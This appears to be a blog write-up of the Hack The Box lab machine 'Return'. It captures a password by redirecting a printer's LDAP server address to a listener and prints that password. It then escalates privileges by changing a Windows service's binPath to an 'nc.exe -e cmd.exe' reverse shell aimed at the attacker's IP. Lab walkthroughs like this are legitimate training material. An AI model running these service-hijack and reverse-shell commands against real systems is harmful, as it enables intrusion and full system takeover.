Post

HTB - Printer Exploitation Track - Return

Printer Exploitation Track - - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.



HTB - Printer Exploitation Track - Return

NMAP

image1

image2

Add return.local to /etc/hosts

  • Port 80 has a Printer admin page

image3

  • I tried to change the password but it didn’t work:

image4

  • Then I set up a listener on port 389 and change the Server Address to my tun0:

image5

image6

1edFg43012!!

  • And we have valid creds:

image7

  • Shell with winrm:

image8

image9

image10

image11

Modify a service path

  • Evil-WinRM has services built in:

image12

  • We’ll choose the VMTools service (as it has privileges) and configure the binary it points to:
1
2
sc.exe config VMTools binPath= "C:\Users\svc-printer\Documents\nc.exe -e C:\WINDOWS\System32\cmd.exe 10.10.14.40 9001"

image13

  • Set up a listener:
1
2
rlwrap -cAr nc -lvnp 9001

  • Now we stop and start the service with:
1
2
3
4
sc.exe stop VMTools

sc.exe start VMTools

image14

  • Shell as system:

image15

1
2
type root.txt

This post is licensed under CC BY 4.0 by the author.